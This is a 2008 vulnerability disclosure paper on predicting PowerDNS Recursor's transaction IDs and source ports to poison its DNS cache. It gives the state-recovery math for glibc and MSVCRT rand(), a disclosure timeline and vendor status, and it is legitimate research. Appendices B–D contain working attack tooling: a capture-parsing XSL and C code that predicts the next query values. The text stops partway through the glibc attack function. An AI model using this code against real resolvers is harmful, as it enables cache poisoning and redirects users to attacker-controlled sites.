PowerDNS Recursor DNS Cache Poisoning

Amit Klein

February-March 2008

Abstract

PowerDNS is the third most popular DNS server on the Internet today. This paper shows that PowerDNS recursor DNS queries are predictable – i.e. that the source UDP port and DNS transaction ID can be effectively predicted. A predictability algorithm is described that, in optimal conditions, provides a single guess for the "next" query thereby overcoming whatever protection offered by the transaction ID and the UDP port randomization mechanisms. This enables an effective DNS cache poisoning attack against PowerDNS Recursor. The net effect is that pharming attacks are feasible against PowerDNS Recursor caching DNS servers, without the need to directly attack neither DNS servers nor clients (PCs).

Table of Contents

1. Introduction

PowerDNS Recursor ([12]) is a popular, cross platform caching DNS server with emphasis on security. In a recent survey ([1]), it came out as the third most popular DNS server, with market share of 6.59%. Moreover, extrapolating from earlier surveys ([2], [3]), it is expected to hit 9%-10% later this year. In September 2006, the vendor estimated that PowerDNS Recursor services "over 40 million Internet connections" ([17], section 1.3.4).

PowerDNS is a C++ application which can be complied and run on Unix-like platforms (which are its typical platform) and on Windows platforms as well. Its author states that it was written with security in mind ([4]), and so it contains an additional measure against DNS cache poisoning in the form of UDP source port randomization ([5]).

Unfortunately, the randomization of both the TRXID and the UDP source port in Recursor amounts to using the underlying standard C library (stdlib) random facility (rand() and srand()). These functions can are predictable, and as such enable DNS cache poisoning of Recursor.

It is highly advised for the reader to make himself/herself familiar with the introduction of ([6]), as the current paper assumes understanding of DNS cache poisoning attacks and DNS cache poisoning history. This paper will not reference prior work except as needed specifically PowerDNS Recursor; a reader interested in generic DNS cache poisoning prior art is again welcome to consult [6].

Henceforth, "PowerDNS Recursor" (or sometimes just "PowerDNS") refers to all software versions of PowerDNS Recursor starting with 3.0, and up to and including 3.1.5 snapshot 4.

The attack described below predicts the values of the next DNS transaction ID field and UDP source port that will be used by PowerDNS Recursor. The attack is applicable to all the above mentioned versions (it was tested with version 3.1.4-1). The attack requires the attacker to obtain a consecutive sequence of DNS queries made by PowerDNS. The paper explains how such a series can be easily obtained. Using this sequence, an algorithm is described that predicts the next values of the transaction ID and UDP source port. The attacker can then force the server to try to resolve an arbitrary name, and simultaneously the attacker can send a forged DNS response that PowerDNS will match to its own query, thus incurring cache poisoning condition on the PowerDNS server. The attack is very efficient – it takes less than 1 millisecond to predict the next transaction ID and UDP source port number, and so it can be carried out in real time.

2. Randomization in PowerDNS Recursor

PowerDNS Recursor randomizes the TRXID and the UDP source port of outgoing DNS queries. A random TRXID is obtained by invoking rand() and using its low order 16 bits. A random UDP source port is obtained by adding 1025 to (rand() modulo 64510). If the source port is already in use, another random port is chosen similarly, and so forth (this repeats 10 times and if unsuccessful, it reverts to the system assigned port). When the server is not heavily loaded, this process succeeds at the first attempt, and thus it will be henceforth assumed that a single invocation of rand() is used to obtain a random source port. Several tests conducted in the lab suggest that indeed, this assumption is valid.

The TRXID value (16 bits) is serialized into the DNS query packet according to the native host layout – if the host is little-endian (e.g. Intel x86), then it will be serialized in little endian fashion, and if the host is big endian it will be serialized in big endian fashion.

The TRXID (16 bits) and the UDP source code (64510 possibilities) add up to almost 32 bits of randomness, which should defeat brute force forging attacks such as the ones described in [14] and [15].

The C standard library random facility is seeded by PowerDNS at startup, by calling srand() with the current count of seconds since 01/01/1970, 00:00 GMT. The analysis below does not exploit this fact, although it is a security issue in itself. This is elaborated upon in Appendix A.

The implementation of rand() differs among different stdlib implementations. The GNU glibc implementation ([8]) uses a 31-cell linear feedback shift register over the modulo 2^{32} group, whereas the Microsoft Visual C++ runtime library (MSVCRT) uses a simple linear congruence modulo 2^{32} for its random number generator ([9]). The GNU glibc is typically used in Unix-like systems which are the primary platforms for PowerDNS, and it will be analyzed first. This will be followed by an analysis of the MSVCRT implementation which is native for Windows (and is also much more trivial to attack).

3. Attack outline

The outline of the attack somewhat resembles that of [6]. Namely, the attacker needs to obtain several consecutive samples of TRXIDs (and in this case, UDP source ports), in order to be able to fully reconstruct the internal state of the random number generator. From thence on, the attacker can effectively predict the next values of the random number generator, and hence the values of the next TRXIDs and source ports.

For the attack to succeed, the attacker needs to observe (in the glibc case) 40-50 consecutive queries (1-2 queries in the case of MSVCRT). Unlike [6], CNAME chaining is out of the question, since PowerDNS Recursor does not follow more than 10 CNAME redirections. However, as noted in [6], it is possible to obtain sequences using other techniques, such as referral chaining. Using referral chaining enables sequences of 100+ queries, all thereof need to be sent serially (i.e. maintaining order). This suffices for the purpose of the attack.

There are 2 complications still:

- Use of random_shuffle() by PowerDNS. PowerDNS recursor invokes the random_shuffle() template function (part of the STL, defined in <algorithm>). random_shuffle(), in turn, may invoke rand(), and thus may spoil the sequence of rand() readouts. This can be easily avoided by the attacker during the sequence sampling, but has implications regarding the prediction technique. This will be explained further in section 6, and for the time being, it will be ignored. Note that in case the random_shuffle implementation does not invoke the stdlib rand(), then there is no problem at all.

- Forking. At the moment, this feature is indicated as "experimental" in the documentation ([7]), and seems to be turned off by default. However, should it be turned on at the target system, it may very well interfere with the algorithm since there will be two different sequences of random numbers (one per each PowerDNS process). Still, the attacker may somehow be able to force the system to serve from the same process, in which case the attack will succeed. It is safe to assume, therefore, that forking is not enabled.

A successful reconstruction of the current state of the PRNG can help the attacker poison the cache at any arbitrary point in time at the future. The attacker only needs then to obtain a fresh sample (DNS query) from PowerDNS, roll forward the PRNG until a match is found for both TRXID and source port (TRXID elimination should be carried out first, since it does not involve the more expensive modulo operation), and proceed with the attack from there.

4. Attacking the glibc PRNG (Unix-like systems)

4.1 The glibc PRNG

The glibc PRNG is a 31-cell linear feedback shift register over the ring modulo 2^{32}. Thus, it has 31×32 (=992) bits in its internal state.

The register advances using a trinomial feedback, as following:

$$R_{i+31}=(R_i+R_{i+28}) \bmod 2^{32}$$

The output at step *i* consists of the 31 higher bits of R_i (i.e. without the least significant bit).

4.2 Notations for the attack

Assuming that there are 40-50 available consecutive queries, each providing the attacker with a TRXID (first invocation of rand()) followed by a source port (second invocation of rand()), denote:

$TRXID_i$ – the TRXID value of the *i*th query (16 bits)

P_i – the UDP source port number of the *i*th query, minus 1025 (0..64509).

These relate directly to an internal state vector R (32 bits each), as following:

Let

$$R_n=2^{17}\cdot(H_n)+2\cdot L_n+X_n$$

Where H_n is 15 bits, L_n is 16 bits and X_n is one bit.

Then the output of rand() is actually

$2^{16}\cdot(H_n)+L_n$

Thus, for i=0…40-50:

$TRXID_i=L_{2\cdot i}$

$P_i=(2^{16}\cdot(H_{2\cdot i+1})+L_{2\cdot i+1}) \bmod 64510$

4.3 Phase I – Extracting X

The attacker can extract the least significant bit of L_n easily. It is indeed visible with TRXID (for even n). When n is odd, note that P_i mod 2 yields this bit exactly. Looking now at how R_n advances, clearly if there is a carry from the least significant bit when adding R_n to R_{n+28}, then this carry will increment the next to least significant bit. In other words, if (and only if) both X_n and X_{n+28} are 1, the following will hold:

$L_{n+31}=(L_n+L_{n+28}+1) \bmod 2$

And if at least one of X_n or X_{n+28} is zero, then the following will hold instead:

$L_{n+31}=(L_n+L_{n+28}) \bmod 2$

Thus, whenever $L_{n+31}=(L_n+L_{n+28}+1) \bmod 2$, the attacker obtains two linear equations:

$X_n=1$

$X_{n+28}=1$

And when $L_{n+31}=(L_n+L_{n+28}) \bmod 2$, the attacker knows that it's impossible for both equations to hold.

By applying information theoretic argument, it is possible to calculate a minimum amount of queries needed: beyond the first 31 values, each carry bit (whose distribution is ¾:¼) contributes 0.81 bits of information. Therefore, the attacker needs (31+31/0.81=69.2) values. This is, however, a lower bound, since there are duplicate equations (the same bit can be flagged as one in two instances, and in fact this is quite likely). Therefore, 40-50 consecutive queries (80-100 values) are typically needed in order to arrive at a single solution for the system.

For example, with 90 consecutive values available (i.e. 45 consecutive queries), and keeping in mind that the first 31 values cannot be used to obtain information, the attacker can look at the remaining 59 values, and with probability ¼ each value yields two equations. Thus the attacker can expect 28…30 equations.

However, there are duplicate equations, so the actual amount of different equations is more around say 25. The attacker can solve the set of linear equations easily, and obtain 2^6 candidates for the full set of 31 least significant bits. The attacker can then eliminate false solutions using the cases where $L_{n+31}=(L_n+L_{n+28}) \bmod 2$ – i.e. in those cases, both bits involved cannot be 1 simultaneously.

Typically, there are 1-10 "free" variables, i.e. enumeration over 2^1-2^{10} is required.

At the end of this phase, the attacker can compute H in fullness.

Note that this is the only phase in which 40-50 queries are needed. The next phases use only the first 31 queries.

4.4 Phase II – Calculating L for odd positions in 31…61

As noted above, the attacker knows L in all the even positions. But since the attacker knows all H values, the attacker actually knows the least significant 17 bits of R in all even positions. The attacker can project R to modulo 2^{17} and use that to calculate the least significant bits in the even positions in 31…61, through the following equation:

$$R_{i+31} \bmod 2^{17}=((R_i \bmod 2^{17})+(R_{i+28} \bmod 2^{17})) \bmod 2^{17}$$

When *i* is even between 0 and 30, this yields values for all odd positions of R (modulo 2^{17}). L is retrieved by simply discarding the least significant bit of R in the respective position.

4.5 Phase III – Calculating L for odd positions in 0…30

Continuing the line of thought from the previous phase, the same technique can be applied to retrieve the values of L in odd positions in 0…30, by rewriting the above equation as:

$$R_i \bmod 2^{17}=((R_{i+31} \bmod 2^{17})-(R_{i+28} \bmod 2^{17})) \bmod 2^{17}$$

4.6 Phase IV – Calculating H for odd positions in 0…61

Now that the attacker knows all Ls, the equation

$$P_i=(2^{16}\cdot(H_{2\cdot i+1})+L_{2\cdot i+1}) \bmod 64510$$

Comes in handy. Rewriting it into:

$$2^{16}\cdot H_{2\cdot i+1}=(P_i-L_{2\cdot i+1}) \bmod 64510$$

Indicates that $(P_i-L_{2\cdot i+1})$ must be even. If it is not, then obviously the original data is at error, and/or the solution chosen for the linear equations is not the correct one.

Assuming that $(P_i-L_{2\cdot i+1})$ is even, it is possible to divide both sides of the equation by two, to get:

$$2^{15}\cdot H_{2\cdot i+1}=((P_i-L_{2\cdot i+1})/2) \bmod 32255$$

Multiplying by 31752 (which is the inverse of 2^{15} modulo 32255) yields:

$$(H_{2\cdot i+1} \bmod 32255)=(31752\cdot((P_i-L_{2\cdot i+1})/2)) \bmod 32255$$

The attacker thus has almost complete information on H (in odd positions). It is not totally complete because the attacker knows the value up to modulo 32255, whereas the value itself can take full 15 bits. When the value obtained through the above formula is higher than or equals to 32768-32255=513, there is a single solution, and the information is complete. However, if the value is smaller than 513 (with probability 1026/32768=3.1%), there are two solutions. Since there are 31 such values to analyze, it is quite probable that 1-2 positions will have two solutions. In such case, both solutions need to be enumerated.

Combining the values for H, L and H in the odd positions 0…61 yields full reconstruction of R in the odd positions.

4.7 Phase V – Calculating R for even positions in 31…61

With the values of R known in all odd positions, applying the formula

$$R_{i+31}=(R_i+R_{i+28}) \bmod 2^{32}$$

For odd values of *i* in 0…31 yields the values of R in the even positions in 31…61.

4.8 Phase VI – Calculating R for even positions in 0…30

Applying the above technique and rearranging the formula:

$$R_i=(R_{i+31}-R_{i+28}) \bmod 2^{32}$$

For even values of *i* in 0…30, yields R values in even positions in 0…30.

At the end of this phase, the attacker has fully reconstructed the internal state of the random number generator ($R_0 \ldots R_{30}$), up to the enumeration at phase IV.

4.9 Phase VII – Final elimination and verification

The attacker can now reconstruct the whole sequence of PRNG outputs involved in the generation of the queries sampled, and verify that the reconstructed PRNG yields the same TRXIDs and port numbers as those that were actually sampled.

With 45-50 consecutive queries, a single solution is expected. However, if there are not enough DNS queries available (typically less than 40-45), multiple solutions may be suggested by the above algorithm. In such case, the values they predict need to be grouped together (per offset, see the next section) and each should be used in a separate forged DNS response. There are likely to be duplicates among the suggested combinations (of TRXID and UDP source port), which only need to be transmitted once, thus reducing the amount of forged DNS packets needed for poisoning the Recusror cache. Experiments show that when only 40 queries are available, multiple solutions are suggested, but per a single offset, oftentimes only 1-2 different combinations are suggested.

5. Attacking the MSVCRT PRNG (Windows)

PowerDNS Resolver explicitly supports Windows starting with version 3.1 ([17], section 1.3.6). The MSVCRT (Microsoft's implementation of the standard C runtime library) implementation of rand() uses an internal state consisting of a single 32 bit variable. In fact, the most significant bit of this variable is not used. Likewise, the seed's most significant bit is not used as well. So de-facto, the scheme uses a 31 bit seed and a 31 bit internal state. MSVCRT's rand() returns a number in the range 0-32767 (15 random bits), so already the maximum randomness in a single outgoing DNS query drops from almost 32 bits to 30 bits.

There are known attacks (prediction algorithms) against the MSVCRT implementation, e.g. [10] (which seems to be more generic and less efficient specifically against the MSVCRT PRNG). Here is a simple and efficient attack.

Assume that the attacker obtains a single outgoing query from PowerDNS. The query exposes two consecutive outputs from the PRNG – TRXID is the first one, and it is exactly the first output (it uses only the low 16 bits from rand(), but in MSVCRT, rand() already returns only 15 bits), and the port number minus 1025 is the second one (again, the port number is taken as rand() modulo 64510, but since rand() is already smaller than 32768, it is fully exposed).

The attacker then enumerates over the least significant 16 bits of the PRNG state after TRXID was obtained, completes the state with the TRXID bits, and calculates the next value, comparing it with the port number and eliminating false guesses. It is expected that the attacker ends up with 2 guesses for the internal state. From thence on, the attack continues as in the case of glibc.

Naturally, by obtaining two consecutive DNS queries, the attacker can further eliminate the false guess to reach the one correct internal state.

6. The random_shuffle complication

The above analysis assumed that TRXID and UDP source port are the only "consumers" of rand() in PowerDNS. This is not so. PowerDNS invokes the template function random_shuffle() (standard STL function defined in <algorithm>). This function, as it name suggests, randomizes the order of elements inside a container. It does so by invoking a PRNG, which may or may not be the stdlib rand() – this is an implementation detail. However, the implementations of libstdc++ (part of the gcc suite) and that of MSVC STL do make use of the stdlib rand(). If the element range (within the container) to be shuffled has *n* elements, then it will call rand() *n*-1 times (in MSVC STL, additional calls to rand() may occur if the number of elements to shuffle is 32768 or higher; however, this is theoretically impossible in the case of PowerDNS).

PowerDNS uses random_shuffle() in order to shuffle lists of A records and NS records. Consider a domain referral response obtained by PowerDNS (as part of the attack). If this response contains a single NS record and a single A record for it (glue), and if that authoritative name server is already cached, then PowerDNS needs not call random_shuffle() in order to prepare its next query. Hence, the attacker can obtain a sequence of consecutive calls for rand() by making sure the responses only contain a single NS record and a single A record for an already cached name server (which the attacker can force to be cached in the first response). Thus the basic assumption of the attack holds.

When the attacker moves to predict the next query though, there is a complication. The next query can be forced by the attacker (e.g. via CNAME) to be, say, www.example.com. However, the attacker does not control how many NS and A records are involved. Assuming, for example, that .com is already cached, PowerDNS first retrieves the list of name servers (NS records) for .com – there are actually 13 of them (a.gtld-servers.net…m.gtld-servers.net, see [13]), calls random_shuffle() on this list (which invokes rand() 12 times) and proceed to look at A records – fortunately there is only one per each server, so rand() is not invoked. In total, additional 12 invocations of rand() occurred before shaping the next query. However, if the attacker knows that .com is already cached (in fact, the attacker can force it easily), then the attacker can easily predict that there will be 12 "hops" in rand() before the invocations used for the new DNS query.

Therefore, the random_shuffle() complication either requires the attacker to study the NS records and A records associated with cached data (e.g. by looking at the .com public DNS records) and calculate the amount of rand() hops, or the attacker can use "brute force" and attempt to send to PowerDNS a dozen or two possible combinations of TRXID and UDP source port, by enumerating over the (likely) 0-20 hops.

7. Conclusions

While PowerDNS Recursor contains several security measures specifically intended to address DNS cache poisoning (such as UDP source port randomization, and forged DNS response detection), it relies on the randomness and strength of the standard C library PRNG facility (the rand() and srand() functions of <stdlib.h>). This is a flawed strategy, since those functions do not guarantee cryptographically strong randomness. Indeed, the paper has shown that the two probably most popular implementations of <stdlib.h> provide a very predictable PRNG mechanism.

The paper demonstrated that the "classic" DNS poisoning attack is applicable to PowerDNS Recursor. The attack does not require "query access" to the DNS server (except for a single triggering query). This is in contrast to the birthday attack, which requires a burst of tens of thousands of queries (due to PowerDNS Recursor's use of source port randomization), rendering the birthday attack ineffective, especially when Split-Split DNS configuration is used.

Usage of industrial-strength cryptographic algorithms (which is indeed the way this issue is now addressed in PowerDNS Recursor 3.1.5) is recommended for the DNS transaction ID generation. Together with UDP source port randomization (which has been a part of PowerDNS Recursor at least since version 3.0), this yields 32 bits of highly unpredictable data that needs to be spoofed, thus making DNS cache poisoning much less (if at all) feasible.

8. Disclosure timeline

March 16th, 2008, 10AM GMT – vendor contacted, problem description sent.

March 16th, 2008, 3:40PM GMT – vendor silently fixes the issue (for Unix-like operating systems) in PowerDNS Recursor 3.1.5-snapshot 5 ([18]). According to the vendor, Windows support will be added later.

March 31st, 2008 – the paper released, simultaneously with the announcement of PowerDNS Recursor 3.1.5, which formally addresses this issue (see [19]).

9. Vendor/product status

PowerDNS Recursor 3.0-3.1.4 – vulnerable (both Windows and Unix-like versions).

PowerDNS Recursor 3.1.5-snapshot1-PowerDNS Recursor 3.1.5-snapshot4 – vulnerable (both Windows and Unix-like versions).

PowerDNS Recursor 3.1.5-snapshot5 and above (including PowerDNS Recursor 3.1.5) – not vulnerable (Unix-like versions). See [17] section 1.3.1.

10. References

[1] "DNS SURVEY: OCTOBER 2007", The Measurement Factory, October 2007

http://dns.measurement-factory.com/surveys/200710.html

[2] "DNS SURVEY: AUGUST 2006", The Measurement Factory, August 2006

http://dns.measurement-factory.com/surveys/200608.html

[3] "DNS SURVEY: APRIL 2005", The Measurement Factory, April 2005.

http://dns.measurement-factory.com/surveys/200504-full-version-table.html

[4] "PowerDNS & General Thoughts on the (Ir)relevance of DNS" (RIPE-47 presentation), Bert Hubert (Netherlabs Computer Consulting BV), January 2004. See page 6 – "Our attitude […] Security over everything".

http://www.ripe.net/ripe/meetings/ripe-47/presentations/ripe47-dn-powerdns.pdf

[5] "Anti-spoofing" ("PowerDNS manual" section 12.4.1).

http://downloads.powerdns.com/documentation/html/recursor-details.html#ANTI-SPOOFING

[6] "BIND 9 DNS Cache Poisoning", Amit Klein (Trusteer), July 2007.

http://www.trusteer.com/docs/bind9dns.html (HTML)

http://www.trusteer.com/docs/BIND_9_DNS_Cache_Poisoning.pdf (PDF)

[7] "pdns_recursor settings" ("PowerDNS manual" section 12.1, PowerDNS website).

http://downloads.powerdns.com/documentation/html/built-in-recursor.html#RECURSOR-SETTINGS

[8] "CVS file /libc/stdlib/random_r.c revision 1.18.6.2" (PowerDNS CVS, RedHat website).

http://sources.redhat.com/cgi-bin/cvsweb.cgi/~checkout~/libc/stdlib/random_r.c?rev=1.18.6.2&content-type=text/plain&cvsroot=glibc

[9] "Linear congruential generator" (Wikipedia entry).

http://en.wikipedia.org/wiki/Linear_congruential_generator#LCGs_in_common_use

[10] "Predict Random Numbers" (PerlMonk web site page), "no slogan" (nickname), May 4th, 2001.

http://www.perlmonks.org/?node=Predict%20Random%20Numbers

[11] "Command Line Transformations Using msxsl.exe" (MSDN XML General Technical Articles), Andrew Kimball, September 2001.

http://msdn2.microsoft.com/en-us/library/aa468552.aspx

[12] "PowerDNS - A Modern, Advanced and High Performance Nameserver" (PowerDNS website homepage).

http://www.powerdns.com/

[13] "IANA - .com - Domain Delegation Data" (IANA website).

http://www.iana.org/domains/root/db/com.html

[14] "Measures for making DNS more resilient against forged answers" (IETF Internet draft), Bert Hubert (Netherlabs Computer Consulting BV) and Remco van Mook (Virtu), February 19th, 2008.

http://tools.ietf.org/html/draft-ietf-dnsext-forgery-resilience-02

[15] "PowerDNS Recursor: The Most Advanced Way To Resolve Domain Names" (RIPE-53 presentation), Bert Hubert (PowerDNS.COM BV), October 5th, 2006.

http://www.ripe.net/ripe/meetings/ripe-53/presentations/powerdns_update.pdf

[16] "Debian -- Details of package pdns-recursor in etch" (Debian website page).

http://packages.debian.org/etch/pdns-recursor

[17] "PowerDNS manual – Release Notes" (PowerDNS website).

http://downloads.powerdns.com/documentation/html/changelog.html

[18] "[Pdns-users] PowerDNS Recursor 3.1.5-snapshot5 available" (Pdns-users mailing list submission), Bert Hubert, March 16th, 2008.

http://mailman.powerdns.com/pipermail/pdns-users/2008-March/005249.html

[19] "PowerDNS Security Advisory 2008-01" (PowerDNS website)

http://doc.powerdns.com/powerdns-advisory-2008-01.html

Appendix A – other security issues

A.1 Key size

The “key” for the C standard library random facility is the seed provided to srand(). The C standard library typically defines it as a 32 bit quantity (unsigned int). As such, it is a small key, enabling an attacker to brute force it, especially if the server has not issued a lot of outgoing queries (so the PRNG need not be rolled forward too many times).

This is an inherent issue with using a non-cryptographic PRNG such as the C standard library random facility.

A.2 Seeding

On top of the previous issue, PowerDNS seeds the PRNG with time(0), which is the amount of seconds elapsed since 01/01/1970 00:00 GMT. This quantity is sampled at the PowerDNS process startup, which typically amounts to system start time. If the attacker knows when the system was last booted, he/she will have a good idea what this value is, and consequently, what values are produced by the PRNG. For instance, knowing which day the system was booted amounts to only 86,400 guesses for the respective time(0). If the product of boot time range (in seconds) and amount of rand() invocations since (which amounts to twice the number of outgoing DNS queries, plus the random_shuffle impact) is small enough (up to few billions), then it is possible to enumerate over all possible seeds and all possible offsets of the PRNG and quickly eliminate wrong guesses. If the product is no more than few billions, then probably a single DNS query sample suffices to arrive at a single guess. If the product is higher than 2^{32}, then obviously 2 DNS queries are needed. However, unlike the technique outlined in the main paper, in this case, there is no strong requirement for the two packets to be strictly consecutive, and there is some tolerance for a gap between the packets. The first packet can be used to reduce the guess space to few dozen guesses. Then each guess can be rolled forward thousands of iterations until one of them matches the second packet.

Such enumeration attack can be parallelized/distributed easily (e.g. by distributing work on different seeds to different processing units).

Note that with the MSVCRT PRNG, the prediction attack based on a single packet is far more efficient than the above numeration technique, and at the same time does not place any further requirements beyond those already placed by the enumeration technique.

For example (relevant for glibc PRNG), if it is known that a DNS server was booted in a certain day, and that since that day, less than 1,000,000 outgoing DNS queries were sent, then there are 86,400 possible seeds, and ~5,000,000 (two per each DNS query and adding a 150% overhead for the random_shuffle() invocations) possible offsets in the PRNG. The product is therefore 432 billion possible guesses. It will take a PC quite some time to enumerate over all these states (few thousand seconds for a powerful PC). Also, it will require two DNS packets. Since the attack is probably impossible to carry out in real time for a reasonable PC (it will take few hundred seconds to go over all states), the attacker will have to resynchronize the state with an additional DNS query obtained just before the actual attack.

Another example (relevant for glibc PRNG): assuming the DNS server was started sometime in the last 24 hours (86,400 seconds), and that it is relatively idle (~5,000 queries maximum – approximately 25,000 possible offsets for the PRNG), the product becomes ~2 billion, which can be reduced to a single guess using a single DNS query. Also, going over 2 billion states should take a PC few dozen seconds (5-10 seconds if the PC is a multi-core/CPU powerful machine and the code is optimized), so re-synchronizing may not be necessary if the server has been otherwise idle.

PowerDNS's seeding can be used in the MSVCRT attack in order to reduce the amount of states suggested from a single DNS query analysis. Typically, two states would be suggested in this case. However, if the product of start time uncertainty (in second) and PRNG offset uncertainty is around 2^{31} (or better yet, if it's smaller than 2^{31}), then the candidates for the current state (as calculated by the algorithm described in section 5) can be rolled back to all possible offsets, and the candidate initial states can be intersected with the possible process start times to find the candidates that satisfy this requirement as well. For instance, if the product is 2^{30}, then this additional information represents an additional 1 bit of information, and as such, it is likely to reduce the number of candidate current states from 2 to 1.

A.3 Derivatives from the main attack (glibc only)

The main attack provides the attacker with the current internal state of the PRNG. The attacker can now roll back the PRNG until it satisfies the initial state (see the implementation of srandom_r() in [8]), namely for *i*=1…30:

$$R_i=(16807\cdot R_{i-1}) \bmod 2147483647$$

This is a simple test that can be applied each time the state is roll backed, to reach the exact initial state. Once this is reached (and the above equation is met for all state elements), the seed can be found in R_0, and the exact amount of random data that was obtained from the PRNG becomes known to the attacker. This in turn compromises the exact time in which PowerDNS was started, as well as provides a coarse indication as to the amount of DNS outgoing queries sent.

Appendix B – XSL File

This XSL file can be applied to the PDML export file produced by the WireShark network analyzer (a similar XSL can be used for Ethereal, though the latter uses slightly different field names). It extracts data per each DNS query into a single line, separated by spaces. The following fields are extracted:

- DNS transaction ID (4 hex digits)
- Capture timestamp (seconds, 9 digits after the decimal point)
- Query object (string)
- UDP source port (4 hex digits)

The XSL transformation can be applied by any XSLT engine, e.g. Microsoft MSXSL ([11]).

The C program in Appendix C assumes the output of this XSL transformation as its input.

It is advised that WireShark filters be used prior to applying the XSL transformation, because the former is much quicker than the latter, e.g. filtering for `ip.src==…` and `dns.flags.response==0` before exporting.

```
<?xml version="1.0" encoding="ISO-8859-1"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:strip-space elements="*"/>
<xsl:output method="text" encoding="ISO-8859-1"/>
<xsl:template match='/pdml/packet/proto[@name="dns" and
        field[@name="dns.flags"]/field[@name="dns.flags.response"]/@value="0"]'>
<xsl:value-of select='field[@name="dns.id"]/@value' />
<xsl:text> </xsl:text>
<xsl:value-of select='../proto[@name="geninfo"]/field[@name="timestamp"]/@value' />
<xsl:text> </xsl:text>
<xsl:value-of
        select='field[@show="Queries"]/field/field[@name="dns.qry.name"]/@show' />
<xsl:text> </xsl:text>
<xsl:value-of select='../proto[@name="udp"]/field[@name="udp.srcport"]/@value' />
<xsl:text>&#x0d;&#x0a;</xsl:text>
</xsl:template>
</xsl:stylesheet>
```

Appendix C – generic attack framework

The following program takes a file input (see Appendix B for a description of the file format and how to generate it) containing captured consecutive queries of PowerDNS, and outputs the next possible 21 combinations of TRXID and UDP source port that may be used for the next query by PowerDNS (i.e. assuming 0-20 hops). It should be used with the attack() function in Appendix D (glibc) or Appendix E (MSVCRT).

```
#include <stdlib.h>
#include <stdio.h>

/* Maximum consecutive query samples supported */
#define MAX_SIZE 100

/* How many random outputs do we want to predict, plus 1 */
#define FORWARD_PREDICTION 22

/* endianness of the PowerDNS recursor hardware: 0 for big endian, 1 for little endian
*/
int host_is_little_endian=1;

/* swap bytes (used for little endian platforms) */
int swap(int x)
{
        return ((x & 0x00FF)<<8)|((x & 0xFF00)>>8);
}

/* read query data from file */
void getfiledata(char* filename,int trxid[],int port[],int* size)
{
        FILE* fp;
        int line;
        double t;
        char name[256];
        int net_trxid;

        fp=fopen(filename,"r");
        if (fp==NULL)
        {
                printf("ERROR: unable to open file %s\n",filename);
                exit(0);
        }

        line=0;
        while(!feof(fp))
        {
                if (fscanf(fp,"%x %lf %s %x",&net_trxid,&t,name,&(port[line]))!=4)
                {
                        break;
                }
                if (line>=MAX_SIZE)
                {
                        printf("INFO: %d lines (maximum) read - truncating further
lines\n",MAX_SIZE);
                        break;
                }
                if (host_is_little_endian)
                {
                        net_trxid=swap(net_trxid);
                }
                trxid[line]=net_trxid;
                line++;
        }

        printf("INFO: read %d lines from file\n",line);
        fclose(fp);

        *size=line;
        return;
}

void report(int offset,int trxid,int port)
{
        printf("Offset %2d: DNS TRXID=0x%04x and UDP port=%5d
(0x%04x)\n",offset,trxid,port,port);
}

void attack(int trxid[],int P[],int size);

int main(int argc, char* argv[])
{
        int trxid[MAX_SIZE],port[MAX_SIZE],P[MAX_SIZE];
        int size,i;
        if (argc<2)
        {
                printf("Usage: \n");
                printf("    %s file    --- predict PowerDNS Recursor 3.x's next query,
from previous queries in 'file' (format is described in Appendix B)\n",argv[0]);

                return;
        }

        getfiledata(argv[1],trxid,port,&size);

        /* adjust the port */
        for (i=0;i<size;i++)
        {
                P[i]=port[i]-1025;
                if ((P[i]<0) || (P[i]>=64510))
                {
                        printf("ERROR: port value is out of range:
port[%d]=%d\n",i,port[i]);
                        exit(0);
                }
        }

        printf("Note: duplicate predictions may occur if not enough data is provided in
the file\n\n");

        attack(trxid,P,size);

        return;
}
```

Appendix D – attack() for glibc

For a data set containing 40-50 queries, attack() typically executes in less than 1 millisecond on an IBM ThinkPad T60 laptop with Intel Centrino CoreDuo T2400 CPU @1.83GHz and Windows XP SP2 operating system – certainly a moderately powered machine.

This algorithm was successfully tested against PowerDNS Recursor version 3.1.4-1 installed on Debian 4.0 Linux (on Intel Pentium IV platform). See [16] for package information.

```
#if (MAX_SIZE<31)
#error MAX_SIZE<31
#endif

void next_phases(int trxid[],int P[],int size,int X[]);

void attack(int trxid[],int P[],int size)
{
        int Llsb[2*MAX_SIZE],lf[2*MAX_SIZE],a[2*MAX_SIZE],b[2*MAX_SIZE],X[2*MAX_SIZE];
        int i,var,j,equation_count,current_line;
        int known[31],free[31],free_count;
        int tmp_a,tmp_b;
        int good,carry,s,k;

        /* prepare Llsb */
        for (i=0;i<size;i++)
        {
                Llsb[2*i]=trxid[i] & 1;
                Llsb[2*i+1]=P[i] & 1;
        }

        /* phase I - calculate the hidden bit, X, for all samples */

        /* represent each X bit as a linear combination (functional) of the first 31 X
bits (variables) */
        /* each linear functional is represented as 31 bits in an int variable, so that
(lf>>m)&1 is the m-th variable */
        for (i=0;i<31;i++)
        {
                lf[i]=1<<i;
        }
        for (i=31;i<2*size;i++)
        {
                lf[i]=lf[i-31]^lf[i-31+28];
        }

        /* prepare the equations */
        equation_count=0;
        for (i=0;i<2*size-31;i++)
        {
                carry=Llsb[i+31]^(Llsb[i]^Llsb[i+28]);
                if (carry==1)
                {
                        a[equation_count++]=lf[i];
                        a[equation_count++]=lf[i+28];
                }
        }
        for (i=0;i<equation_count;i++)
        {
                b[i]=1;
        }

        /* solve the equations using the standard Gauss elimination */
        /* at the end of the day, known[] will contain the list of variables which can
be calculated */
```

```
        /* and free[] will contain the list of variables which need to be enumerated */

        current_line=0;
        free_count=0;

        /* enumerate (and try to eliminate) the 31 variables */
        for (var=0;var<31;var++)
        {
                /* switch to an equation with bit i set, if possible. May "switch" with
itself... */
                for (j=current_line;j<equation_count;j++)
                {
                        if ((a[j]>>var) & 1)
                        {
                                /* swap the lines and exit loop */
                                tmp_a=a[current_line];
                                tmp_b=b[current_line];
                                a[current_line]=a[j];
                                b[current_line]=b[j];
                                a[j]=tmp_a;
                                b[j]=tmp_b;
                                break;
                        }
                }

                if ((a[current_line]>>var) & 1)
                {
                        /* eliminate variable i */
                        for (j=current_line+1;j<equation_count;j++)
                        {
                                if ((a[j]>>var) & 1)
                                {
                                        a[j]^=a[current_line];
                                        b[j]^=b[current_line];
                                }
                        }
                        known[current_line++]=var;
                }
                else
                {
                        /* free bit */
                        free[free_count++]=var;
                }
        }

        /* enumerate over all free variables */
        for (s=0;s<(1<<free_count);s++)
        {
                for (i=0;i<free_count;i++)
                {
                        X[free[i]]=(s>>i) & 1;
                }

